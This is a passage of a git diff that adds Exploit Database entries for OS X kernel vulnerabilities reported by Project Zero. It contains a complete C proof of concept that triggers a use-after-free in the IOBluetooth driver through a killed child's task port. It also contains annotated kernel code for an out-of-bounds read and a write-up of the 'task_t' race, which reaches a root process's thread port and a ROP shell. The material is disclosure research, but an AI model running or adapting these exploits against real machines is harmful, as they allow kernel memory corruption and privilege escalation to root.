return KERN_INVALID_ARGUMENT; <-- portsCnt must be >=1 && <= 3
|
||||
|
||||
for (i = 0; i < portsCnt; i++)
|
||||
ports[i] = memory[i]; <-- if we only sent one OOL port but set portsCnt >1 this will read a mach_port_t (a pointer) out of bounds
|
||||
for (; i < TASK_PORT_REGISTER_MAX; i++)
|
||||
ports[i] = IP_NULL;
|
||||
|
||||
itk_lock(task);
|
||||
if (task->itk_self == IP_NULL) {
|
||||
itk_unlock(task);
|
||||
return KERN_INVALID_ARGUMENT;
|
||||
}
|
||||
|
||||
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
|
||||
ipc_port_t old;
|
||||
|
||||
old = task->itk_registered[i];
|
||||
task->itk_registered[i] = ports[i];
|
||||
ports[i] = old;
|
||||
}
|
||||
|
||||
itk_unlock(task);
|
||||
|
||||
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)
|
||||
if (IP_VALID(ports[i]))
|
||||
ipc_port_release_send(ports[i]); <-- this can decrement the ref on a pointer which was read out of bounds if we call this function multiple times
|
||||
|
||||
if (portsCnt != 0)
|
||||
kfree(memory,
|
||||
(vm_size_t) (portsCnt * sizeof(mach_port_t))); <-- this can call kfree with the wrong size
|
||||
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
For this PoC I've patched the MIG generated code to always only send one OOL mach port but still set init_port_setCnt to a controlled value - you should see a kernel
|
||||
panic decrementing an invalid reference or something like that.
|
||||
|
||||
This bug however could be exploited quite nicely to cause a mach_port_t UaF which could have all kinds of fun consequences (getting another task's task port for example!)
|
||||
|
||||
tested on OS X 10.11.6 (15G31) on MacBookPro10,1
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40654.zip
|
||||
413
platforms/osx/dos/40652.c
Executable file
413
platforms/osx/dos/40652.c
Executable file
|
|
@ -0,0 +1,413 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=830
|
||||
|
||||
When you create a new IOKit user client from userspace you call:
|
||||
|
||||
kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect );
|
||||
|
||||
The owningTask mach port gets converted into a task struct pointer by the MIG deserialization code which then takes
|
||||
a reference on the task, calls is_io_service_open_extended passing the task struct then drops its reference.
|
||||
|
||||
is_io_service_open_extended will then call through to any overriden newUserClient or initWithTask methods implemented
|
||||
by the service.
|
||||
|
||||
If those services want to keep a pointer to the "owningTask" then it's very important that they actually take a reference.
|
||||
|
||||
We can actually pass any task port as the "owningTask" which means that if the userclient doesn't take a reference
|
||||
we can easily pass the task port for another task, kill that task (freeing the task struct) then get the user client
|
||||
to use the free'd task struct.
|
||||
|
||||
IOBluetoothHCIUserClient (userclient type 0 of IOBluetoothHCIController) can be instantiated by a regular user
|
||||
and stores a raw task struct pointer at this+0xe0 without taking a reference.
|
||||
|
||||
This pointer is then used in IOBluetoothHCIUserClient::SimpleDispatchWL to build and manipulate IOMemoryDescriptors.
|
||||
|
||||
This PoC forks off a child which sends the parent back its task port then spins. The parent then creates a new IOBluetoothHCIUserClient
|
||||
passing the child's task port as the owningTask then sigkills the child (freeing it's task struct.) The parent then invokes
|
||||
an external method on the user client leading to the UaF.
|
||||
|
||||
The IOMemoryDescriptor code does sufficiently weird stuff with the task struct and the memory map hanging off it that
|
||||
this bug is clearly exploitable as just a plain memory corruption issue but can probably be leveraged for more interesting
|
||||
logic stuff too.
|
||||
|
||||
Note that bluetooth does have to be turned on for this PoC to work!
|
||||
|
||||
build: clang -o bluetooth_uaf bluetooth_uaf.c -framework IOKit
|
||||
|
||||
You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!
|
||||
|
||||
tested on OS X 10.11.5 (15F34) on MacBookAir5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
/*
|
||||
OS X kernel use-after-free in IOBluetoothFamily.kext
|
||||
|
||||
When you create a new IOKit user client from userspace you call:
|
||||
|
||||
kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect );
|
||||
|
||||
The owningTask mach port gets converted into a task struct pointer by the MIG deserialization code which then takes
|
||||
a reference on the task, calls is_io_service_open_extended passing the task struct then drops its reference.
|
||||
|
||||
is_io_service_open_extended will then call through to any overriden newUserClient or initWithTask methods implemented
|
||||
by the service.
|
||||
|
||||
If those services want to keep a pointer to the "owningTask" then it's very important that they actually take a reference.
|
||||
|
||||
We can actually pass any task port as the "owningTask" which means that if the userclient doesn't take a reference
|
||||
we can easily pass the task port for another task, kill that task (freeing the task struct) then get the user client
|
||||
to use the free'd task struct.
|
||||
|
||||
IOBluetoothHCIUserClient (userclient type 0 of IOBluetoothHCIController) can be instantiated by a regular user
|
||||
and stores a raw task struct pointer at this+0xe0 without taking a reference.
|
||||
|
||||
This pointer is then used in IOBluetoothHCIUserClient::SimpleDispatchWL to build and manipulate IOMemoryDescriptors.
|
||||
|
||||
This PoC forks off a child which sends the parent back its task port then spins. The parent then creates a new IOBluetoothHCIUserClient
|
||||
passing the child's task port as the owningTask then sigkills the child (freeing it's task struct.) The parent then invokes
|
||||
an external method on the user client leading to the UaF.
|
||||
|
||||
The IOMemoryDescriptor code does sufficiently weird stuff with the task struct and the memory map hanging off it that
|
||||
this bug is clearly exploitable as just a plain memory corruption issue but can probably be leveraged for more interesting
|
||||
logic stuff too.
|
||||
|
||||
Note that bluetooth does have to be turned on for this PoC to work!
|
||||
|
||||
build: clang -o bluetooth_uaf bluetooth_uaf.c -framework IOKit
|
||||
|
||||
You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!
|
||||
|
||||
tested on OS X 10.11.5 (15F34) on MacBookAir5,2
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/task_special_ports.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
|
||||
#define MACH_ERR(str, err) do { \
|
||||
if (err != KERN_SUCCESS) { \
|
||||
mach_error("[-]" str "\n", err); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} \
|
||||
} while(0)
|
||||
|
||||
#define FAIL(str) do { \
|
||||
printf("[-] " str "\n"); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
#define LOG(str) do { \
|
||||
printf("[+] " str"\n"); \
|
||||
} while (0)
|
||||
|
||||
/***************
|
||||
* port dancer *
|
||||
***************/
|
||||
|
||||
// set up a shared mach port pair from a child process back to its parent without using launchd
|
||||
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html
|
||||
|
||||
// mach message for sending a port right
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t port;
|
||||
} port_msg_send_t;
|
||||
|
||||
// mach message for receiving a port right
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t port;
|
||||
mach_msg_trailer_t trailer;
|
||||
} port_msg_rcv_t;
|
||||
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
} simple_msg_send_t;
|
||||
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_trailer_t trailer;
|
||||
} simple_msg_rcv_t;
|
||||
|
||||
#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT
|
||||
|
||||
// a copy in the parent of the stolen special port such that it can be restored
|
||||
mach_port_t saved_special_port = MACH_PORT_NULL;
|
||||
|
||||
// the shared port right in the parent
|
||||
mach_port_t shared_port_parent = MACH_PORT_NULL;
|
||||
|
||||
void setup_shared_port() {
|
||||
kern_return_t err;
|
||||
// get a send right to the port we're going to overwrite so that we can both
|
||||
// restore it for ourselves and send it to our child
|
||||
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
|
||||
MACH_ERR("saving original special port value", err);
|
||||
|
||||
// allocate the shared port we want our child to have a send right to
|
||||
err = mach_port_allocate(mach_task_self(),
|
||||
MACH_PORT_RIGHT_RECEIVE,
|
||||
&shared_port_parent);
|
||||
|
||||
MACH_ERR("allocating shared port", err);
|
||||
|
||||
// insert the send right
|
||||
err = mach_port_insert_right(mach_task_self(),
|
||||
shared_port_parent,
|
||||
shared_port_parent,
|
||||
MACH_MSG_TYPE_MAKE_SEND);
|
||||
MACH_ERR("inserting MAKE_SEND into shared port", err);
|
||||
|
||||
// stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
|
||||
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
|
||||
MACH_ERR("setting special port", err);
|
||||
}
|
||||
|
||||
mach_port_t recover_shared_port_child() {
|
||||
kern_return_t err;
|
||||
|
||||
// grab the shared port which our parent stashed somewhere in the special ports
|
||||
mach_port_t shared_port_child = MACH_PORT_NULL;
|
||||
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
|
||||
MACH_ERR("child getting stashed port", err);
|
||||
|
||||
LOG("child got stashed port");
|
||||
|
||||
// say hello to our parent and send a reply port so it can send us back the special port to restore
|
||||
|
||||
// allocate a reply port
|
||||
mach_port_t reply_port;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
MACH_ERR("child allocating reply port", err);
|
||||
|
||||
// send the reply port in a hello message
|
||||
simple_msg_send_t msg = {0};
|
||||
|
||||
msg.header.msgh_size = sizeof(msg);
|
||||
msg.header.msgh_local_port = reply_port;
|
||||
msg.header.msgh_remote_port = shared_port_child;
|
||||
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
|
||||
|
||||
err = mach_msg_send(&msg.header);
|
||||
MACH_ERR("child sending task port message", err);
|
||||
|
||||
LOG("child sent hello message to parent over shared port");
|
||||
|
||||
// wait for a message on the reply port containing the stolen port to restore
|
||||
port_msg_rcv_t stolen_port_msg = {0};
|
||||
err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
MACH_ERR("child receiving stolen port\n", err);
|
||||
|
||||
// extract the port right from the message
|
||||
mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
|
||||
if (stolen_port_to_restore == MACH_PORT_NULL) {
|
||||
FAIL("child received invalid stolen port to restore");
|
||||
}
|
||||
|
||||
// restore the special port for the child
|
||||
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
|
||||
MACH_ERR("child restoring special port", err);
|
||||
|
||||
LOG("child restored stolen port");
|
||||
return shared_port_child;
|
||||
}
|
||||
|
||||
mach_port_t recover_shared_port_parent() {
|
||||
kern_return_t err;
|
||||
|
||||
// restore the special port for ourselves
|
||||
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
|
||||
MACH_ERR("parent restoring special port", err);
|
||||
|
||||
// wait for a message from the child on the shared port
|
||||
simple_msg_rcv_t msg = {0};
|
||||
err = mach_msg(&msg.header,
|
||||
MACH_RCV_MSG,
|
||||
0,
|
||||
sizeof(msg),
|
||||
shared_port_parent,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
MACH_ERR("parent receiving child hello message", err);
|
||||
|
||||
LOG("parent received hello message from child");
|
||||
|
||||
// send the special port to our child over the hello message's reply port
|
||||
port_msg_send_t special_port_msg = {0};
|
||||
|
||||
special_port_msg.header.msgh_size = sizeof(special_port_msg);
|
||||
special_port_msg.header.msgh_local_port = MACH_PORT_NULL;
|
||||
special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
|
||||
special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;
|
||||
special_port_msg.body.msgh_descriptor_count = 1;
|
||||
|
||||
special_port_msg.port.name = saved_special_port;
|
||||
special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg_send(&special_port_msg.header);
|
||||
MACH_ERR("parent sending special port back to child", err);
|
||||
|
||||
return shared_port_parent;
|
||||
}
|
||||
|
||||
/*** end of port dancer code ***/
|
||||
|
||||
void do_child(mach_port_t shared_port) {
|
||||
kern_return_t err;
|
||||
|
||||
// create a reply port to receive an ack that we should exec the target
|
||||
mach_port_t reply_port;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
MACH_ERR("child allocating reply port", err);
|
||||
|
||||
// send our task port to our parent over the shared port
|
||||
port_msg_send_t msg = {0};
|
||||
|
||||
msg.header.msgh_size = sizeof(msg);
|
||||
msg.header.msgh_local_port = reply_port;
|
||||
msg.header.msgh_remote_port = shared_port;
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;
|
||||
|
||||
msg.body.msgh_descriptor_count = 1;
|
||||
|
||||
msg.port.name = mach_task_self();
|
||||
msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg_send(&msg.header);
|
||||
MACH_ERR("child sending task port message", err);
|
||||
|
||||
LOG("child sent task port back to parent");
|
||||
|
||||
// spin and let our parent kill us
|
||||
while(1){;}
|
||||
}
|
||||
|
||||
mach_port_t do_parent(mach_port_t shared_port) {
|
||||
kern_return_t err;
|
||||
|
||||
// wait for our child to send us its task port
|
||||
port_msg_rcv_t msg = {0};
|
||||
err = mach_msg(&msg.header,
|
||||
MACH_RCV_MSG,
|
||||
0,
|
||||
sizeof(msg),
|
||||
shared_port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
MACH_ERR("parent receiving child task port message", err);
|
||||
|
||||
mach_port_t child_task_port = msg.port.name;
|
||||
if (child_task_port == MACH_PORT_NULL) {
|
||||
FAIL("invalid child task port");
|
||||
}
|
||||
|
||||
LOG("parent received child's task port");
|
||||
|
||||
return child_task_port;
|
||||
}
|
||||
|
||||
io_connect_t get_connection(mach_port_t task_port) {
|
||||
kern_return_t err;
|
||||
mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
|
||||
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("unable to get service\n");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
err = IOServiceOpen(service, task_port, 0, &conn); // 1 = IOBluetoothHCIUserClient
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("IOServiceOpen failed: %s\n", mach_error_string(err));
|
||||
conn = MACH_PORT_NULL;
|
||||
}
|
||||
IOObjectRelease(service);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
void trigger(int child_pid, mach_port_t child_task_port) {
|
||||
kern_return_t err;
|
||||
// get the userclient passing the child's task port
|
||||
io_connect_t conn = get_connection(child_task_port);
|
||||
if (conn == MACH_PORT_NULL){
|
||||
printf("unable to get connection\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("got user client\n");
|
||||
|
||||
// drop our ref on the child_task_port
|
||||
mach_port_deallocate(mach_task_self(), child_task_port);
|
||||
|
||||
// kill the child, free'ing its task struct
|
||||
kill(child_pid, 9);
|
||||
int status;
|
||||
wait(&status);
|
||||
|
||||
printf("killed child\n");
|
||||
|
||||
// make an external method call which will use that free'd task struct
|
||||
char struct_input[0x74] = {0};
|
||||
|
||||
//+0x70 dword = index into sroutines
|
||||
//+0x38 dword = size of first argument
|
||||
//+0x0 qword = pointer to first argument
|
||||
struct_input[0x38] = 0x80;
|
||||
*(uint64_t*)(&struct_input[0]) = 0x414141414141;
|
||||
|
||||
err = IOConnectCallMethod(conn,
|
||||
0,
|
||||
NULL,
|
||||
0,
|
||||
struct_input,
|
||||
0x74,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
MACH_ERR("making external method call", err);
|
||||
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
setup_shared_port();
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid == -1) {
|
||||
FAIL("forking");
|
||||
}
|
||||
|
||||
if (child_pid == 0) {
|
||||
mach_port_t shared_port_child = recover_shared_port_child();
|
||||
do_child(shared_port_child);
|
||||
} else {
|
||||
mach_port_t shared_port_parent = recover_shared_port_parent();
|
||||
mach_port_t child_task_port = do_parent(shared_port_parent);
|
||||
trigger(child_pid, child_task_port);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
31
platforms/osx/local/40653.txt
Executable file
31
platforms/osx/local/40653.txt
Executable file
|
|
@ -0,0 +1,31 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=831
|
||||
|
||||
IOSurfaceRootUserClient stores a task struct pointer (passed in via IOServiceOpen) in the field at +0xf0 without taking a reference.
|
||||
|
||||
By killing the corrisponding task we can free this pointer leaving the user client with a dangling pointer. We can get this pointer used
|
||||
by calling the create_surface_fast_path external method which will try to read and use the memory map off of the free'd task struct.
|
||||
|
||||
This bug could be leveraged for kernel memory corruption and is reachable from interesting sandboxes including safari and chrome.
|
||||
|
||||
build: clang -o surfaceroot_uaf surfaceroot_uaf.c -framework IOKit
|
||||
|
||||
You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!
|
||||
|
||||
tested on OS X 10.11.5 (15F34) on MacBookAir5,2
|
||||
|
||||
#####################################
|
||||
|
||||
another PoC for "task_t considered harmful"
|
||||
since 10.11.6 blocks us from creating userclients with other task's task ports
|
||||
this time we create an IOSurface in the child and send back a send right to that
|
||||
IOSurface to the parent (rather than sending the child's task port.)
|
||||
|
||||
The child then execs a suid-root binary which blocks on stderr and the parent
|
||||
creates an IOSurface which maps any (writable?) page of the euid-0 process into theirs.
|
||||
Overwrite a function pointer and win.
|
||||
|
||||
No race conditions because the task struct pointer is on the kernel heap, not the stack.
|
||||
|
||||
|
||||
Proofs of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40653.zip
|
||||
249
platforms/osx/local/40669.txt
Executable file
249
platforms/osx/local/40669.txt
Executable file
|
|
@ -0,0 +1,249 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=837
|
||||
|
||||
TL;DR
|
||||
you cannot hold or use a task struct pointer and expect the euid of that task to stay the same.
|
||||
Many many places in the kernel do this and there are a great many very exploitable bugs as a result.
|
||||
|
||||
********
|
||||
|
||||
task_t is just a typedef for a task struct *. It's the abstraction level which represents a whole task
|
||||
comprised of threads and a virtual memory map.
|
||||
|
||||
task_t's have a corrisponding mach port type (IKOT_TASK) known as a task port. The task port structure
|
||||
in the kernel has a pointer to the task struct which it represents. If you have send rights to a task port then
|
||||
you have control over its VM and, via task_threads, its threads.
|
||||
|
||||
When a suid-root binary is executed the kernel invalidates the old task and thread port structures setting their
|
||||
object pointers to NULL and allocating new ports instead.
|
||||
|
||||
CVE-2016-1757 was a race condition concerning the order in which those port structures were invalidated during the
|
||||
exec operation.
|
||||
|
||||
Although the issues I will describe in this bug report may seem similar is is a completely different, and far worse,
|
||||
bug class.
|
||||
|
||||
~~~~~~~~~
|
||||
|
||||
When a suid binary is executed it's true that the task's old task and thread ports get invalidated, however, the task
|
||||
struct itself stays the same. There's no fork and no creation of a new task. This means that any pointers to that task struct
|
||||
now point to the task struct of an euid 0 process.
|
||||
|
||||
There are lots of IOKit drivers which save task struct pointers as members; see my recent bug reports for some examples.
|
||||
|
||||
In those cases I reported there was another bug, namely that they weren't taking a reference on the task struct meaning
|
||||
that if we killed the corrisponding task and then forked and exec'ed a suid root binary we could get the IOKit object
|
||||
to interact via the task struct pointer with the VM of a euid 0 process. (You could also break out of a sandbox by
|
||||
forcing launchd to spawn a new service binary which would reuse the free'd task struct.)
|
||||
|
||||
However, looking more closely, even if those IOKit drivers *do* take a reference on the task struct it doesn't matter!
|
||||
(at least not when there are suid binaries around.) Just because the userspace client of the user client had send rights
|
||||
to a task port at time A when it passed that task port to IOKit doesn't mean that it still has send rights to it when
|
||||
the IOKit driver actually uses the task struct pointer... In the case of IOSurface this lets us trivially map any RW area
|
||||
of virtual memory in an euid 0 process into ours and write to it. (See the other exploit I sent for that IOSurface bug.)
|
||||
|
||||
There are a large number of IOKit drivers which do this (storing task struct pointers) and then either use the to manipulate
|
||||
userspace VM (eg IOAcceleratorFamily2, IOThunderboltFamily, IOSurface) or rely on that task struct pointer to perform
|
||||
authorization checks like the code in IOHIDFamily.
|
||||
|
||||
Another interesting case to consider are task struct pointers on the stack.
|
||||
|
||||
in the MIG files for the user/kernel interface task ports are subject to the following intran:
|
||||
|
||||
type task_t = mach_port_t
|
||||
#if KERNEL_SERVER
|
||||
intran: task_t convert_port_to_task(mach_port_t)
|
||||
|
||||
where convert_port_to_task is:
|
||||
|
||||
task_t
|
||||
convert_port_to_task(
|
||||
ipc_port_t port)
|
||||
{
|
||||
task_t task = TASK_NULL;
|
||||
|
||||
if (IP_VALID(port)) {
|
||||
ip_lock(port);
|
||||
|
||||
if ( ip_active(port) &&
|
||||
ip_kotype(port) == IKOT_TASK ) {
|
||||
task = (task_t)port->ip_kobject;
|
||||
assert(task != TASK_NULL);
|
||||
|
||||
task_reference_internal(task);
|
||||
}
|
||||
|
||||
ip_unlock(port);
|
||||
}
|
||||
|
||||
return (task);
|
||||
}
|
||||
|
||||
This converts the task port into the corrisponding task struct pointer. It takes a reference on the task struct but that only
|
||||
makes sure that it doesn't get free'd, not that its euid doesn't change as the result of the exec of an suid root binary.
|
||||
|
||||
As soon as that port lock is dropped the task could exec a suid-root binary and although this task port would no longer be valid
|
||||
that task struct pointer would remain valid.
|
||||
|
||||
This leads to a huge number of interesting race conditions. Grep the source for all .defs files which take a task_t to find them all ;-)
|
||||
|
||||
In this exploit PoC I'll target perhaps the most interesting one: task_threads.
|
||||
|
||||
Let's look at how task_threads actually works, including the kernel code which is generated by MiG:
|
||||
|
||||
In task_server.c (an autogenerated file, build XNU first if you can't find this file) :
|
||||
|
||||
target_task = convert_port_to_task(In0P->Head.msgh_request_port);
|
||||
|
||||
RetCode = task_threads(target_task, (thread_act_array_t *)&(OutP->act_list.address), &OutP->act_listCnt);
|
||||
task_deallocate(target_task);
|
||||
|
||||
This gives us back the task struct from the task port then calls task_threads:
|
||||
(unimportant bits removed)
|
||||
|
||||
task_threads(
|
||||
task_t task,
|
||||
thread_act_array_t *threads_out,
|
||||
mach_msg_type_number_t *count)
|
||||
{
|
||||
...
|
||||
for (thread = (thread_t)queue_first(&task->threads); i < actual;
|
||||
++i, thread = (thread_t)queue_next(&thread->task_threads)) {
|
||||
thread_reference_internal(thread);
|
||||
thread_list[j++] = thread;
|
||||
}
|
||||
|
||||
...
|
||||
|
||||
for (i = 0; i < actual; ++i)
|
||||
((ipc_port_t *) thread_list)[i] = convert_thread_to_port(thread_list[i]);
|
||||
}
|
||||
...
|
||||
}
|
||||
|
||||
task_threads uses the task struct pointer to iterate through the list of threads, then creates send rights to them
|
||||
which get sent back to user space. There are a few locks taken and dropped in here but they're irrelevant.
|
||||
|
||||
What happens if that task is exec-ing a suid root binary at the same time?
|
||||
|
||||
The relevant parts of the exec code are these two points in ipc_task_reset and ipc_thread_reset:
|
||||
|
||||
void
|
||||
ipc_task_reset(
|
||||
task_t task)
|
||||
{
|
||||
ipc_port_t old_kport, new_kport;
|
||||
ipc_port_t old_sself;
|
||||
ipc_port_t old_exc_actions[EXC_TYPES_COUNT];
|
||||
int i;
|
||||
|
||||
new_kport = ipc_port_alloc_kernel();
|
||||
if (new_kport == IP_NULL)
|
||||
panic("ipc_task_reset");
|
||||
|
||||
itk_lock(task);
|
||||
|
||||
old_kport = task->itk_self;
|
||||
|
||||
if (old_kport == IP_NULL) {
|
||||
itk_unlock(task);
|
||||
ipc_port_dealloc_kernel(new_kport);
|
||||
return;
|
||||
}
|
||||
|
||||
task->itk_self = new_kport;
|
||||
old_sself = task->itk_sself;
|
||||
task->itk_sself = ipc_port_make_send(new_kport);
|
||||
ipc_kobject_set(old_kport, IKO_NULL, IKOT_NONE); <-- point (1)
|
||||
|
||||
... then calls:
|
||||
|
||||
ipc_thread_reset(
|
||||
thread_t thread)
|
||||
{
|
||||
ipc_port_t old_kport, new_kport;
|
||||
ipc_port_t old_sself;
|
||||
ipc_port_t old_exc_actions[EXC_TYPES_COUNT];
|
||||
boolean_t has_old_exc_actions = FALSE;
|
||||
int i;
|
||||
|
||||
new_kport = ipc_port_alloc_kernel();
|
||||
if (new_kport == IP_NULL)
|
||||
panic("ipc_task_reset");
|
||||
|
||||
thread_mtx_lock(thread);
|
||||
|
||||
old_kport = thread->ith_self;
|
||||
|
||||
if (old_kport == IP_NULL) {
|
||||
thread_mtx_unlock(thread);
|
||||
ipc_port_dealloc_kernel(new_kport);
|
||||
return;
|
||||
}
|
||||
|
||||
thread->ith_self = new_kport; <-- point (2)
|
||||
|
||||
Point (1) clears out the task struct pointer from the old task port and allocates a new port for the task.
|
||||
Point (2) does the same for the thread port.
|
||||
|
||||
Let's call the process which is doing the exec process B and the process doing task_threads() process A and imagine
|
||||
the following interleaving of execution:
|
||||
|
||||
Process A: target_task = convert_port_to_task(In0P->Head.msgh_request_port); // gets pointer to process B's task struct
|
||||
|
||||
Process B: ipc_kobject_set(old_kport, IKO_NULL, IKOT_NONE); // process B invalidates the old task port so that it no longer has a task struct pointer
|
||||
|
||||
Process B: thread->ith_self = new_kport // process B allocates new thread ports and sets them up
|
||||
|
||||
Process A: ((ipc_port_t *) thread_list)[i] = convert_thread_to_port(thread_list[i]); // process A reads and converts the *new* thread port objects!
|
||||
|
||||
Note that the fundamental issue here isn't this particular race condition but the fact that a task struct pointer can just
|
||||
never ever be relied on to have the same euid as when you first got hold of it.
|
||||
|
||||
~~~~~~~~~~~~~~~
|
||||
|
||||
Exploit:
|
||||
|
||||
This PoC exploits exactly this race condition to get a thread port for an euid 0 process. Since we've execd it I just stick a
|
||||
ret-slide followed by a small ROP payload on the actual stack at exec time then use the thread port to set RIP to a gadget
|
||||
which does a large add rsp, X and pop's a shell :)
|
||||
|
||||
just run it for a while, it's quite a tight race window but it will work! (try a few in parallel)
|
||||
|
||||
tested on OS X 10.11.5 (15F34) on MacBookAir5,2
|
||||
|
||||
######################################
|
||||
|
||||
A faster exploit which also defeats the mitigations shipped in MacOS 10.12. Should work for all kernel versions <= 10.12
|
||||
|
||||
######################################
|
||||
|
||||
Fixed: https://support.apple.com/en-us/HT207275
|
||||
|
||||
Disclosure timeline:
|
||||
|
||||
2016-06-02 - Ian Beer reports "task_t considered harmful issue" to Apple
|
||||
2016-06-30 - Apple requests 60 day disclosure extension.
|
||||
2016-07-12 - Project Zero declines disclosure extension request.
|
||||
2016-07-19 - Meeting with Apple to discuss disclosure timeline.
|
||||
2016-07-21 - Followup meeting with Apple to discuss disclosure timeline.
|
||||
2016-08-10 - Meeting with Apple to discuss proposed fix and disclosure timeline.
|
||||
2016-08-15 - Project Zero confirms publication date will be September 21, Apple acknowledges.
|
||||
2016-08-29 - Meeting with Apple to discuss technical details of (1) "short-term mitigation" that will be shipped within disclosure deadline, and (2) "long-term fix" that will be shipped after the disclosure deadline.
|
||||
2016-09-13 - Apple release the "short-term mitigation" for iOS 10
|
||||
2016-09-13 - Apple requests a restriction on disclosed technical details to only those parts of the issue covered by the short-term mitigation.
|
||||
2016-09-14 - Project Zero confirms that it will disclose full details without restriction.
|
||||
2016-09-16 - Apple repeats request to withhold details from the disclosure, Project Zero confirms it will disclose full details.
|
||||
2016-09-17 - Apple requests that Project Zero delay disclosure until a security update in October.
|
||||
2016-09-18 - Apple's senior leadership contacts Google's senior leadership to request that Project Zero delay disclosure of the task_t issue
|
||||
2016-09-19 - Google grants a 5 week flexible disclosure extension.
|
||||
2016-09-20 - Apple release a "short-term mitigation" for the task_t issue for MacOS 10.12
|
||||
2016-09-21 - Planned publication date passes.
|
||||
2016-10-03 - Apple publicly release long-term fix for the task_t issue in MacOS beta release version 10.12.1 beta 3.
|
||||
2016-10-24 - Apple release MacOS version 10.12.1
|
||||
2016-10-25 - Disclosure date of "task_t considered harmful"
|
||||
|
||||
Project Zero remains committed to a 90-day disclosure window, and will continue to apply disclosure deadlines on all of our vulnerability research findings. A 14 day grace extension is available for cases where a patch is expected shortly after the 90-day time window.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40669.zip
|
||||
|
|
@ -8,4 +8,5 @@ Versions 1.2 and prior are vulnerable to these issues; other versions may also b
|
|||
|
||||
This BID has been retired because this issue is not exploitable.
|
||||
|
||||
